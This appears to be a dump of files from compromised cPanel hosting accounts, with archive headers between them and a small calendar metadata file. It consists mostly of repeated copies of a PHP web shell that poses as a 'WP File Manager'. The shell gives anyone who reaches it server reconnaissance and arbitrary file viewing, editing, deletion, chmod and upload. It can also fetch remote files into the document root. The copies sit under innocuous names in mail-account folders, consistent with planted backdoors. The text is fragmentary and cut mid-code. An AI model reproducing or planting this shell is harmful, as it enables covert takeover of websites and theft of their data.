← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ëalp@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]“6èBBsend@gazetaliria.com/.metadatanu„[µü¤[calendar] protected 1 calendar-color #ff6c2c displayname cPanel CalDAV Calendar description Default Calendar automatically created for your account. type VCALENDAR [addressbook] type VADDRESSBOOK displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 PK’&{]„N9³§Ë§Ësend@gazetaliria.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 